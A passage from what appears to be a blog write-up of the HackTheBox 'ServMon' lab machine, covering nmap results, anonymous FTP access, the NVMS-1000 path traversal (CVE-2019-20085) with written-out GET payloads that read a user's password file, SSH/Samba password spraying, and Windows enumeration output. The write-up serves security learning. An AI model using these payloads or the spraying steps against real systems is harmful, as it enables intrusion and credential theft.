SF:\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocument\x20not\x20found&quot;)%r
SF:(RTSPRequest,36,&quot;HTTP/1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocum
SF:ent\x20not\x20found&quot;)%r(SIPOptions,36,&quot;HTTP/1\.1\x20404\r\nContent-Leng
SF:th:\x2018\r\n\r\nDocument\x20not\x20found&quot;);
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Longhorn (95%), Microsoft Windows 10 1511 (93%), Microsoft Windows 10 1703 (93%), Microsoft Windows Server 2008 R2 (93%), Microsoft Windows Server 2008 SP2 (93%), Microsoft Windows 7 SP1 (93%), Microsoft Windows 8.1 Update 1 (93%), Microsoft Windows 8 (93%), Microsoft Windows Vista SP1 (92%), Microsoft Windows 7 Enterprise SP1 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -7s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-06-20T01:45:00
|_  start_date: N/A

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 200.09 seconds
</code></pre><figcaption>Targeted scan</figcaption></figure><hr><p><strong>Anonymous FTP</strong></p><figure class="kg-card kg-image-card kg-width-full kg-card-hascaption"><img src="https://www.robinlunde.com/blog/content/images/2020/06/FTP-enum.png" class="kg-image" alt="HackTheBox - ServMon" loading="lazy"><figcaption>FTP access - Note that password field can be anything</figcaption></figure><p>The easiest and quickest way to continue from the above results is the anonymous FTP enumeration. To download the files to your current local directory, simply use:</p><figure class="kg-card kg-code-card"><pre><code class="language-Bash"># get &lt;filename&gt;
$ get Confidential.txt</code></pre><figcaption>FTP commands</figcaption></figure><p>By accessing the FTP share, we get access to the following data:</p><ul><li>Nadine/Confidential.txt</li></ul><figure class="kg-card kg-code-card"><pre><code>Nathan,

I left your Passwords.txt file on your Desktop.  Please remove this once you have edited it yourself and place it back into the secure folder.

Regards

Nadine</code></pre><figcaption>Confidential.txt</figcaption></figure><ul><li>Nathan/Notes to do.txt</li></ul><figure class="kg-card kg-code-card"><pre><code>1) Change the password for NVMS - Complete
2) Lock down the NSClient Access - Complete
3) Upload the passwords
4) Remove public access to NVMS
5) Place the secret files in SharePoint   </code></pre><figcaption>Notes to do.txt</figcaption></figure><p>From the above notes, it seems quite clear that we can somehow reach the <em>Passwords.txt </em>file on Nathan&apos;s desktop.</p><hr><p><strong>NVMS-1000 Path Traversal</strong></p><p>From the NMAP scan, we also know there are webservices running on this server. Webservices are usually vulnerable, so I decided to enumerate those next.</p><ul><li>Port 80</li></ul><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.robinlunde.com/blog/content/images/2020/06/80.png" class="kg-image" alt="HackTheBox - ServMon" loading="lazy"><figcaption>On port 80, we have NVMS-1000</figcaption></figure><p>After a quick google search, we find <a href="https://nvd.nist.gov/vuln/detail/CVE-2019-20085">CVE-2019-20085</a>. This Path Traversal vulnerability is a perfect candidate for accessing the file above, but let us not get ahead of ourselves.</p><ul><li>Port 8443</li></ul><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.robinlunde.com/blog/content/images/2020/06/8443.png" class="kg-image" alt="HackTheBox - ServMon" loading="lazy"><figcaption>On 8443 we have NSClient++</figcaption></figure><p>After quickly checking the page for any issues, I did a search to see if I could find any issues with this software. This software also had some juicy exploits, but since they were authenticated exploits, I decided to focus on port 80 first.</p><figure class="kg-card kg-image-card kg-width-full kg-card-hascaption"><img src="https://www.robinlunde.com/blog/content/images/2020/06/searchsploit.png" class="kg-image" alt="HackTheBox - ServMon" loading="lazy"><figcaption>Searchsploit results</figcaption></figure><p>After reading the <em><a href="https://www.exploit-db.com/exploits/48311">exploit details</a>, </em>it seems like a trivial exploit. I fired up burp, intercepted a request to the base page, and added the basic payload as given in the PoC. </p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.robinlunde.com/blog/content/images/2020/06/image-2.png" class="kg-image" alt="HackTheBox - ServMon" loading="lazy"><figcaption>I am always surprised when PoCs just work!</figcaption></figure><p>It worked perfectly...! Afterwards, I had to play around a little until I found a payload that gave me the file with the passwords. Note: I was stuck for a few minutes due to following the PoC and including <em>Windows </em>in the payload (See below). &#xA0;After trying and failing for a bit, I finally got it.</p><figure class="kg-card kg-code-card"><pre><code class="language-Bash"># Wrong path
GET /Pages/login.htm/../../../../../../../../../../Windows/Users/Nathan/Desktop/Passwords.txt HTTP/1.1
# Right path
GET /Pages/login.htm/../../../../../../../../../../Users/Nathan/Desktop/Passwords.txt HTTP/1.1</code></pre><figcaption>Payloads</figcaption></figure><figure class="kg-card kg-image-card kg-width-full kg-card-hascaption"><img src="https://www.robinlunde.com/blog/content/images/2020/06/Path_traversal.png" class="kg-image" alt="HackTheBox - ServMon" loading="lazy"><figcaption>Aaand, we get all the passwords!</figcaption></figure><p>OK, time to move on!</p><hr><p><strong>Password spray SSH</strong></p><p>After finding the credentials, I decided to spray SSH and Samba for valid logins. I used the previously known usernames for this. I considered trying the credentials on the <em>NSClient++ </em>service, but decided that would be my next step if SSH and Samba failed.</p><ul><li>SSH</li></ul><figure class="kg-card kg-image-card kg-width-full kg-card-hascaption"><img src="https://www.robinlunde.com/blog/content/images/2020/06/ssh_enum.png" class="kg-image" alt="HackTheBox - ServMon" loading="lazy"><figcaption>Enumerating SSH credentials</figcaption></figure><ul><li>Samba</li></ul><figure class="kg-card kg-image-card kg-width-full kg-card-hascaption"><img src="https://www.robinlunde.com/blog/content/images/2020/06/smb_enum.png" class="kg-image" alt="HackTheBox - ServMon" loading="lazy"><figcaption>Enumerating samba credentials</figcaption></figure><figure class="kg-card kg-image-card kg-width-full kg-card-hascaption"><img src="https://www.robinlunde.com/blog/content/images/2020/06/shares_available.png" class="kg-image" alt="HackTheBox - ServMon" loading="lazy"><figcaption>Samba shares available</figcaption></figure><p>As you can see, there are hits on both. I tested quickly, and both were valid. I personally prefer SSH, so that&apos;s what I continued with, knowing I had Samba as a fallback, if needed.</p><p>After logging in through SSH, these were the user folders we had access to:</p><figure class="kg-card kg-code-card"><pre><code class="language-Bash">$ tree . &gt; out.txt
Folder PATH listing
Volume serial number is 728C-D22C
C:\USERS
+---Administrator
+---Nadine
|   |   out.txt
|   |   
|   +---3D Objects
|   +---Contacts
|   +---Desktop
|   |       user.txt
|   |       
|   +---Documents
|   +---Downloads
|   +---Favorites
|   |   |   Bing.url
|   |   |   
|   |   \---Links
|   +---Links
|   |       Desktop.lnk
|   |       Downloads.lnk
|   |       
|   +---Music
|   +---OneDrive
|   +---Pictures
|   |   \---Camera Roll
|   +---Saved Games
|   +---Searches
|   |       winrt--{S-1-5-21-3877449121-2587550681-992675040-1002}-.searchconnector-ms
|   |       
|   \---Videos
+---Nathan
\---Public</code></pre><figcaption>Tree of User folders on the box</figcaption></figure><p><strong>Wooo, we got user!</strong></p><figure class="kg-card kg-image-card kg-width-full kg-card-hascaption"><img src="https://www.robinlunde.com/blog/content/images/2020/06/user.txt.png" class="kg-image" alt="HackTheBox - ServMon" loading="lazy"><figcaption>Shell access as Nadine</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.robinlunde.com/blog/content/images/2020/06/image-1.png" class="kg-image" alt="HackTheBox - ServMon" loading="lazy"><figcaption>User done!</figcaption></figure><hr><p><strong>Privilege Escalation</strong></p><p>At this point, it was time to think of how to get to root. I started <a href="https://github.com/411Hall/JAWS">JAWS </a>in the background, so I had some recon going. We still hadn&apos;t dealt with NSClient++, so I wanted to dig into that while my script was running.</p><p>For the curious, here is the output of <a href="https://github.com/411Hall/JAWS">JAWS</a>. Not much interesting!</p><pre><code>Running J.A.W.S. Enumeration
	- Gathering User Information
	- Gathering Processes, Services and Scheduled Tasks
	- Gathering Installed Software
	- Gathering File System Information
	- Looking for Simple Priv Esc Methods
############################################################
##     J.A.W.S. (Just Another Windows Enum Script)        ##
##                                                        ##
##           https://github.com/411Hall/JAWS              ##
##                                                        ##
############################################################

Windows Version: 
Architecture: AMD64
Hostname: SERVMON
Current User: nadine
Current Time\Date: 06/20/2020 04:03:36

-----------------------------------------------------------
 Users
-----------------------------------------------------------
----------
Username: Administrator
Groups:   Administrators
----------
Username: DefaultAccount
Groups:   System Managed Accounts Group
----------
Username: Guest
Groups:   Guests
----------
Username: Nadine
Groups:   Users
----------
Username: Nathan
Groups:   Users
----------
Username: sshd
Groups:   
----------
Username: WDAGUtilityAccount
Groups:   

-----------------------------------------------------------
 Network Information
-----------------------------------------------------------

Windows IP Configuration


Ethernet adapter Ethernet0 2:

   Connection-specific DNS Suffix  . : 
   IPv6 Address. . . . . . . . . . . : dead:beef::405e:6db1:cf1b:2fec
   Temporary IPv6 Address. . . . . . : dead:beef::8070:2c31:c321:65d0
   Link-local IPv6 Address . . . . . : fe80::405e:6db1:cf1b:2fec%3
   IPv4 Address. . . . . . . . . . . : 10.10.10.184
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:12d6%3
                                       10.10.10.2

-----------------------------------------------------------
 Arp
-----------------------------------------------------------

Interface: 10.10.10.184 --- 0x3
  Internet Address      Physical Address      Type
  10.10.10.2            00-50-56-b9-12-d6     dynamic   
  10.10.10.255          ff-ff-ff-ff-ff-ff     static    
  224.0.0.22            01-00-5e-00-00-16     static    
  234.55.55.55          01-00-5e-37-37-37     static    
  239.255.255.250       01-00-5e-7f-ff-fa     static    


-----------------------------------------------------------
 NetStat
-----------------------------------------------------------

Active Connections

  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:21             0.0.0.0:0              LISTENING       2644
  TCP    0.0.0.0:22             0.0.0.0:0              LISTENING       2784
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       3100
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       872
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:5040           0.0.0.0:0              LISTENING       4880
  TCP    0.0.0.0:5666           0.0.0.0:0              LISTENING       3380
  TCP    0.0.0.0:5666           0.0.0.0:0              LISTENING       3380
  TCP    0.0.0.0:6063           0.0.0.0:0              LISTENING       3100
  TCP    0.0.0.0:6699           0.0.0.0:0              LISTENING       3100
  TCP    0.0.0.0:8443           0.0.0.0:0              LISTENING       3380
  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       628
  TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       484
  TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       1120
  TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING       1528
  TCP    0.0.0.0:49668          0.0.0.0:0              LISTENING       2092
  TCP    0.0.0.0:49669          0.0.0.0:0              LISTENING       620
  TCP    0.0.0.0:49670          0.0.0.0:0              LISTENING       2480
  TCP    10.10.10.184:22        10.10.14.49:39144      ESTABLISHED     2784
  TCP    10.10.10.184:22        10.10.14.49:42816      ESTABLISHED     2784
  TCP    10.10.10.184:139       0.0.0.0:0              LISTENING       4
  TCP    10.10.10.184:5040      10.10.14.49:320        CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.49:60126      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.49:60206      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.49:60266      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.49:60298      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.49:60324      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.49:60390      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.49:60430      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.49:60462      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.49:60502      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.49:60526      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.49:60548      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.49:60556      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.49:60566      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.49:60578      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.49:60586      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.49:60594      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.49:60606      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.49:60616      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.49:60622      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.49:60634      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.49:60640      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.49:60648      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.49:60654      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.49:60660      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.49:60662      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.49:60664      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.49:60666      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.49:60668      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.49:60670      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.49:60724      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.49:60838      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.49:60840      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.54:416        CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.54:48250      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.54:48352      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.54:48394      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.54:48428      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.54:48486      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.54:48538      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.54:48562      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.54:48584      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.54:48630      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.54:48650      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.54:48670      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.54:48674      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.54:48678      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.54:48684      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.54:48690      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.54:48694      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.54:48698      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.54:48704      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.54:48708      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.54:48714      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.54:48716      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.54:48718      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.54:48720      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.54:48722      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.54:48724      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.54:48726      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.54:48728      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.54:48730      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.54:48732      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.54:48816      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.54:48922      CLOSE_WAIT      4880
  TCP    10.10.10.184:5040      10.10.14.54:48924      CLOSE_WAIT      4880
  TCP    10.10.10.184:6699      10.10.14.49:47420      CLOSE_WAIT      3100
  TCP    10.10.10.184:6699      10.10.14.49:47454      CLOSE_WAIT      3100
  TCP    10.10.10.184:6699      10.10.14.49:47510      CLOSE_WAIT      3100
  TCP    10.10.10.184:6699      10.10.14.49:47562      CLOSE_WAIT      3100
  TCP    10.10.10.184:6699      10.10.14.49:47830      CLOSE_WAIT      3100
  TCP    10.10.10.184:6699      10.10.14.49:47866      CLOSE_WAIT      3100
  TCP    10.10.10.184:6699      10.10.14.97:49926      CLOSE_WAIT      3100
  TCP    10.10.10.184:6699      10.10.14.97:49946      CLOSE_WAIT      3100
  TCP    10.10.10.184:6699      10.10.14.97:52100      CLOSE_WAIT      3100
  TCP    10.10.10.184:6699      10.10.14.97:54970      CLOSE_WAIT      3100
  TCP    10.10.10.184:6699      10.10.14.97:55518      ESTABLISHED     3100
  TCP    10.10.10.184:6699      10.10.14.97:56248      ESTABLISHED     3100
  TCP    127.0.0.1:49674        127.0.0.1:49675        ESTABLISHED     3100
  TCP    127.0.0.1:49675        127.0.0.1:49674        ESTABLISHED     3100
  TCP    127.0.0.1:49676        127.0.0.1:49677        ESTABLISHED     3100
  TCP    127.0.0.1:49677        127.0.0.1:49676        ESTABLISHED     3100
  TCP    [::]:21                [::]:0                 LISTENING       2644
  TCP    [::]:22                [::]:0                 LISTENING       2784
  TCP    [::]:135               [::]:0                 LISTENING       872
  TCP    [::]:445               [::]:0                 LISTENING       4
  TCP    [::]:5666              [::]:0                 LISTENING       3380
  TCP    [::]:49664             [::]:0                 LISTENING       628
  TCP    [::]:49665             [::]:0                 LISTENING       484
  TCP    [::]:49666             [::]:0                 LISTENING       1120
  TCP    [::]:49667             [::]:0                 LISTENING       1528
  TCP    [::]:49668             [::]:0                 LISTENING       2092
  TCP    [::]:49669             [::]:0                 LISTENING       620
  TCP    [::]:49670             [::]:0                 LISTENING       2480
  UDP    0.0.0.0:123            *:*                                    3768
  UDP    0.0.0.0:500            *:*                                    2488
  UDP    0.0.0.0:4500           *:*                                    2488
  UDP    0.0.0.0:5050           *:*                                    4880
  UDP    0.0.0.0:5353           *:*                                    1616
  UDP    0.0.0.0:5355           *:*                                    1616
  UDP    0.0.0.0:61812          *:*                                    3380
  UDP    10.10.10.184:137       *:*                                    4
  UDP    10.10.10.184:138       *:*                                    4
  UDP    10.10.10.184:1900      *:*                                    5032
  UDP    10.10.10.184:23456     *:*                                    3100
  UDP    10.10.10.184:23456     *:*                                    3100
  UDP    10.10.10.184:57058     *:*                                    3100
  UDP    10.10.10.184:58079     *:*                                    5032
  UDP    127.0.0.1:1900         *:*                                    5032
  UDP    127.0.0.1:58080        *:*                                    5032
  UDP    127.0.0.1:61811        *:*                                    3380
  UDP    127.0.0.1:61850        *:*                                    2968
  UDP    [::]:123               *:*                                    3768
  UDP    [::]:500               *:*                                    2488
  UDP    [::]:4500              *:*                                    2488
  UDP    [::]:5353              *:*                                    1616
  UDP    [::]:5355              *:*                                    1616
  UDP    [::1]:1900             *:*                                    5032
  UDP    [::1]:58078            *:*                                    5032
  UDP    [fe80::405e:6db1:cf1b:2fec%3]:1900  *:*                                    5032
  UDP    [fe80::405e:6db1:cf1b:2fec%3]:58077  *:*                                    5032


-----------------------------------------------------------
 Firewall Status
-----------------------------------------------------------

Firewall is Disabled

-----------------------------------------------------------
 FireWall Rules
-----------------------------------------------------------

Name                                                                                                                
----                                                                                                                
@{Microsoft.AAD.BrokerPlugin_1000.17763.1.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.AAD.BrokerPlugi...
@{Microsoft.AAD.BrokerPlugin_1000.17763.1.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.AAD.BrokerPlugi...
@{Microsoft.AAD.BrokerPlugin_1000.18362.449.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.AAD.BrokerPlu...
@{Microsoft.AAD.BrokerPlugin_1000.18362.449.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.AAD.BrokerPlu...
@{Microsoft.DesktopAppInstaller_1.0.32912.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.DesktopAppInstaller/Resour...
@{Microsoft.DesktopAppInstaller_1.0.32912.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.DesktopAppInstaller/Resour...
@{Microsoft.DesktopAppInstaller_1.0.32912.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.DesktopAppInstaller/Resour...
@{Microsoft.Messaging_4.1901.10241.1000_x64__8wekyb3d8bbwe?ms-resource://Microsoft.Messaging/Resources/AppStoreName}
@{Microsoft.Messaging_4.1901.10241.1000_x64__8wekyb3d8bbwe?ms-resource://Microsoft.Messaging/Resources/AppStoreName}

... SNIP ...

@{Microsoft.ZuneVideo_10.19101.10711.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneVideo/resources/IDS_MANIFES...
@{Microsoft.ZuneVideo_10.20022.11011.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneVideo/resources/IDS_MANIFES...
Microsoft Solitaire Collection                                                                                      
Microsoft Solitaire Collection                                                                                      
OneNote                                                                                                             
OneNote                                                                                                             
Print 3D                                                                                                            
Print 3D                                                                                                            
Skype                                                                                                               
Skype                                                                                                               
Xbox Game Bar                                                                                                       
Xbox Game Bar                                                                                                       
Xbox Game Bar                                                                                                       
nvms-1000                                                                                                           
nvms-1000                                                                                                           
NSClient++ Monitoring Agent                                                                                         
Spotify Music                                                                                                       
Spotify Music                                                                                                       
Spotify Music                                                                                                       
Spotify Music                                                                                                       
Spotify Music                                                                                                       
Spotify Music                                                                                                       
Wireless Display Infrastructure Back Channel (TCP-In)                                                               
Network Discovery (WSD-In)                                                                                          
Wi-Fi Direct Network Discovery (In)                                                                                 
Cast to Device streaming server (RTCP-Streaming-In)                                                                 
Cast to Device streaming server (RTCP-Streaming-In)                                                                 
Cast to Device streaming server (RTCP-Streaming-In)                                                                 
Cast to Device streaming server (RTSP-Streaming-In)                                                                 
Cast to Device streaming server (RTSP-Streaming-In)                                                                 
Cast to Device streaming server (RTSP-Streaming-In)                                                                 
OpenSSH SSH Server (sshd)                                                                                           
Proximity sharing over TCP (TCP sharing-In)                                                                         
File and Printer Sharing (Spooler Service - RPC)                                                                    
Wi-Fi Direct Spooler Use (In)                                                                                       
@FirewallAPI.dll,-80201                                                                                             
@FirewallAPI.dll,-80206                                                                                             
AllJoyn Router (TCP-In)                                                                                             
AllJoyn Router (UDP-In)                                                                                             
Cast to Device functionality (qWave-TCP-In)                                                                         
Cast to Device functionality (qWave-UDP-In)                                                                         
Cast to Device SSDP Discovery (UDP-In)                                                                              
Connected Devices Platform - WiFi Direct Transport (TCP-In)                                                         
Connected Devices Platform (TCP-In)                                                                                 
Connected Devices Platform (UDP-In)                                                                                 
Core Networking - Dynamic Host Configuration Protocol (DHCP-In)                                                     
Core Networking - Dynamic Host Configuration Protocol for IPv6(DHCPV6-In)                                           
Core Networking - Teredo (UDP-In)                                                                                   
Delivery Optimization (TCP-In)                                                                                      
Delivery Optimization (UDP-In)                                                                                      
File and Printer Sharing (LLMNR-UDP-In)                                                                             
File and Printer Sharing (Spooler Service - RPC-EPMAP)                                                              
FTP Server (FTP Traffic-In)                                                                                         
FTP Server Passive (FTP Passive Traffic-In)                                                                         
FTP Server Secure (FTP SSL Traffic-In)                                                                              
mDNS (UDP-In)                                                                                                       
mDNS (UDP-In)                                                                                                       
mDNS (UDP-In)                                                                                                       
Network Discovery (LLMNR-UDP-In)                                                                                    
Network Discovery (Pub-WSD-In)                                                                                      
Network Discovery (SSDP-In)                                                                                         
Network Discovery (WSD-In)                                                                                          
WFD ASP Coordination Protocol (UDP-In)                                                                              
Wi-Fi Direct Scan Service Use (In)                                                                                  
Wireless Display (TCP-In)                                                                                           
Cast to Device streaming server (HTTP-Streaming-In)                                                                 
Cast to Device streaming server (HTTP-Streaming-In)                                                                 
Cast to Device streaming server (HTTP-Streaming-In)                                                                 
Cast to Device UPnP Events (TCP-In)                                                                                 
Core Networking - Destination Unreachable (ICMPv6-In)                                                               
Core Networking - Destination Unreachable Fragmentation Needed (ICMPv4-In)                                          
Core Networking - Internet Group Management Protocol (IGMP-In)                                                      
Core Networking - IPHTTPS (TCP-In)                                                                                  
Core Networking - IPv6 (IPv6-In)                                                                                    
Core Networking - Multicast Listener Done (ICMPv6-In)                                                               
Core Networking - Multicast Listener Query (ICMPv6-In)                                                              
Core Networking - Multicast Listener Report (ICMPv6-In)                                                             
Core Networking - Multicast Listener Report v2 (ICMPv6-In)                                                          
Core Networking - Neighbour Discovery Advertisement (ICMPv6-In)                                                     
Core Networking - Neighbour Discovery Solicitation (ICMPv6-In)                                                      
Core Networking - Packet Too Big (ICMPv6-In)                                                                        
Core Networking - Parameter Problem (ICMPv6-In)                                                                     
Core Networking - Router Advertisement (ICMPv6-In)                                                                  
Core Networking - Router Solicitation (ICMPv6-In)                                                                   
Core Networking - Time Exceeded (ICMPv6-In)                                                                         
DIAL protocol server (HTTP-In)                                                                                      
DIAL protocol server (HTTP-In)                                                                                      
File and Printer Sharing (Echo Request - ICMPv4-In)                                                                 
File and Printer Sharing (Echo Request - ICMPv6-In)                                                                 
File and Printer Sharing (NB-Datagram-In)                                                                           
File and Printer Sharing (NB-Name-In)                                                                               
File and Printer Sharing (NB-Session-In)                                                                            
File and Printer Sharing (SMB-In)                                                                                   
Network Discovery (NB-Datagram-In)                                                                                  
Network Discovery (NB-Name-In)                                                                                      
Network Discovery (UPnP-In)                                                                                         
Network Discovery (WSD Events-In)                                                                                   
Network Discovery (WSD EventsSecure-In)                                                                             
WFD Driver-only (TCP-In)                                                                                            
WFD Driver-only (UDP-In)                                                                                            
@{Microsoft.AAD.BrokerPlugin_1000.17763.1.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.AAD.BrokerPlugi...
@{Microsoft.AAD.BrokerPlugin_1000.17763.1.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.AAD.BrokerPlugi...
@{Microsoft.AAD.BrokerPlugin_1000.18362.449.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.AAD.BrokerPlu...
@{Microsoft.AAD.BrokerPlugin_1000.18362.449.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.AAD.BrokerPlu...
@{Microsoft.AccountsControl_10.0.17763.1_neutral__cw5n1h2txyewy?ms-resource://Microsoft.AccountsControl/Resources...
@{Microsoft.AccountsControl_10.0.17763.1_neutral__cw5n1h2txyewy?ms-resource://Microsoft.AccountsControl/Resources...
@{Microsoft.AccountsControl_10.0.18362.449_neutral__cw5n1h2txyewy?ms-resource://Microsoft.AccountsControl/Resourc...
@{Microsoft.AccountsControl_10.0.18362.449_neutral__cw5n1h2txyewy?ms-resource://Microsoft.AccountsControl/Resourc...
@{Microsoft.BingNews_4.36.20714.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.BingNews/Resources/ApplicationTitleW...
@{Microsoft.BingWeather_4.34.13393.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.BingWeather/Resources/Application...
... SNIP ...
@{Microsoft.GetHelp_10.1912.30071.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.GetHelp/Resources/appDisplayName}    
@{Microsoft.Getstarted_8.2.22942.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.Getstarted/Resources/AppStoreName}    
@{Microsoft.Getstarted_8.2.22942.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.Getstarted/Resources/AppStoreName}    
@{Microsoft.Getstarted_8.2.22942.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.Getstarted/Resources/AppStoreName}    
@{Microsoft.LockApp_10.0.17763.1_neutral__cw5n1h2txyewy?ms-resource://Microsoft.LockApp/resources/AppDisplayName}   
@{Microsoft.LockApp_10.0.17763.1_neutral__cw5n1h2txyewy?ms-resource://Microsoft.LockApp/resources/AppDisplayName}   
@{Microsoft.LockApp_10.0.18362.449_neutral__cw5n1h2txyewy?ms-resource://Microsoft.LockApp/resources/AppDisplayName} 
@{Microsoft.LockApp_10.0.18362.449_neutral__cw5n1h2txyewy?ms-resource://Microsoft.LockApp/resources/AppDisplayName} 
@{Microsoft.Messaging_4.1901.10241.1000_x64__8wekyb3d8bbwe?ms-resource://Microsoft.Messaging/Resources/AppStoreName}
@{Microsoft.Messaging_4.1901.10241.1000_x64__8wekyb3d8bbwe?ms-resource://Microsoft.Messaging/Resources/AppStoreName}
@{Microsoft.Messaging_4.1901.10241.1000_x64__8wekyb3d8bbwe?ms-resource://Microsoft.Messaging/Resources/AppStoreName}
@{Microsoft.Messaging_4.1901.10241.1000_x64__8wekyb3d8bbwe?ms-resource://Microsoft.Messaging/Resources/AppStoreName}
@{Microsoft.Microsoft3DViewer_7.1908.9012.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.Microsoft3DViewer/Common.V...
@{Microsoft.Microsoft3DViewer_7.1908.9012.0_x64__8wekyb3d8bbwe?ms-
